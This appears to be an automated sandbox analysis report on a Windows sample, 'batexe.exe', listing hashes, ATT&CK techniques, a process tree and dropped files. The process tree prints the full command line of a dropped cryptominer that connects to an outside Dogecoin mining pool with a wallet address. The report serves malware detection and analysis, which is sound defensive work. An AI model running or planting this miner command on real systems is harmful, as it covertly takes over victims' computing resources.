73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 15:20

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General

Target
batexe.exe
Size 9.4MB
Sample240214-sqvv2aeb61
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3780	b2e.exe
2888	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2888	cpuminer-sse2.exe
2888	cpuminer-sse2.exe
2888	cpuminer-sse2.exe
2888	cpuminer-sse2.exe
2888	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4012-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 3780	4012	batexe.exe	84
PID 4012 wrote to memory of 3780	4012	batexe.exe	84
PID 4012 wrote to memory of 3780	4012	batexe.exe	84
PID 3780 wrote to memory of 1556	3780	b2e.exe	85
PID 3780 wrote to memory of 1556	3780	b2e.exe	85
PID 3780 wrote to memory of 1556	3780	b2e.exe	85
PID 1556 wrote to memory of 2888	1556	cmd.exe	88
PID 1556 wrote to memory of 2888	1556	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Users\Admin\AppData\Local\Temp\5C68.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5C68.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5C68.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6031.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5C68.tmp\b2e.exe
Size 14.5MB
SHA256 068572c3a72e2ea45912b6155b85317d722e8dd5865c0ee9433d5ed9d3a9349a
MD5 6a313a43790fe455a2478b4dc4cf4f9d
SHA1 d4be64448724667c2af6385646bc2fda180f008b
SHA512 f9ff91465fb9617caa0fd1496bd50a5061ee43c0a37f9a3bd5d057ee70856379935b8bd3821f7961b2aef9bef84f424a9da69f4b70f5e3df7b87f23437853c3c
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/4+eQhyYlkBS:wWrJQ9CuKdIncRBGJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5C68.tmp\b2e.exe
Size 5.7MB
SHA256 14a97276ff5304d5711c65995a5f6762a5309baf04cae8dc55c2359c22e6e3d0
MD5 d2243796bcefcf02edb127410752da83
SHA1 b03440a54df9fda5cba376a7638354c063ab0ecf
SHA512 0549f5d8122edca6b1d8470b006e612e270e8a31c2d7c17dc628555bcebdc1b95eb9899fa02fa7532a13f6720b1083e7a74e0393e1ef819119ccba737bd06ef8
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJA:2Vh7J/WrocAdkmBtKCLaDr/4Q8b
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5C68.tmp\b2e.exe
Size 3.0MB
SHA256 4f8c614822cb12e7405d484d8ef1c5796fe1002f4e20867e761623d6108bd5ed
MD5 42e52d2aa6e0aa4e0a6cb435f3e72e32
SHA1 904d518be9644114eda76add80ccf585ee238731
SHA512 c5bdbe9278322b817f6744ed51e93d2a5a32b7285a5d8506bd7d6578fd432f43caec54c5ae81074a06b8c2b4a36ad5ee4bb6e817698252ec8df1406ee68916e4
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusd:2Vh7J/WrocAdkmBtKCd
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\6031.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 2.3MB
SHA256 c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
MD5 4c04147c386ba8792ac6a03069572a8a
SHA1 dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA512 a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
SSDEEP 49152:Wkpplb/LHkmgDlX3+57Uad1bBLTqgC+JZchTbO8rLG:xvN/LOOh6
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 4.3MB
SHA256 ba8d09363115d62458bc4c4a560f68d54d19cf09207e4e45be05527d1e9b4228
MD5 d755a9dfb37039a4db2b602a11dad380
SHA1 ea93d921a5e5c8ae68ba95b6ed90d6c59d81cdb9
SHA512 0749d7bd71a6245e2e199081d78b73615910dba6200bbe2de9a94830345e2e9672327ecea45b600dbd86cc4d6f000102d0c06e8ba737d22609cde88cb5f9f090
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6iK:DGGvJ3fK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 3.1MB
SHA256 a9ff30fe9abb321b45d53aa2183b6a41047ee727f745c2a724b9b63d7443cd97
MD5 e66d99ea958d62221a3d61a743fca017
SHA1 b52714669a7ca518211eb97013fd7e4dfc528dfa
SHA512 52249544dc9a3ec16e73eb0c07e643ec415ad2c2a4132ce4cd371d054ee9f79c6ec7ff6e727a51bb5e1ab9b1cb0590d7f1014799a3446f9ed776dad8c9837baf
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8:DGGvJ38
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 3.4MB
SHA256 cfca9a2887a1dc9034acbf5dc69bb1b12025607ae1f7446cfa5bbe3919ee4318
MD5 3c40059528ede0dea9b3321fda6b534b
SHA1 a0a08c47d8461fd3fde0b90847ef6a62ec1d9893
SHA512 3f508d101ef24d4a5f7963b790e17585a77c7da42fbe17b81f5b49aa13d0be11f142dd0cd4f84584355a0d4e6b556ddcb51ae749083b93f1f545f04f6d71f9b1
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9JX:DGGvJ3X
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

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memory/2888-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/2888-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-104-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/2888-46-0x0000000071D00000-0x0000000071D98000-memory.dmp

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memory/2888-47-0x0000000001080000-0x0000000002935000-memory.dmp

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memory/2888-99-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-54-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-94-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-62-0x0000000071D00000-0x0000000071D98000-memory.dmp

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memory/2888-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-79-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-82-0x0000000071D00000-0x0000000071D98000-memory.dmp

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memory/2888-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2888-91-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/3780-53-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/3780-7-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4012-9-0x0000000000400000-0x000000000393A000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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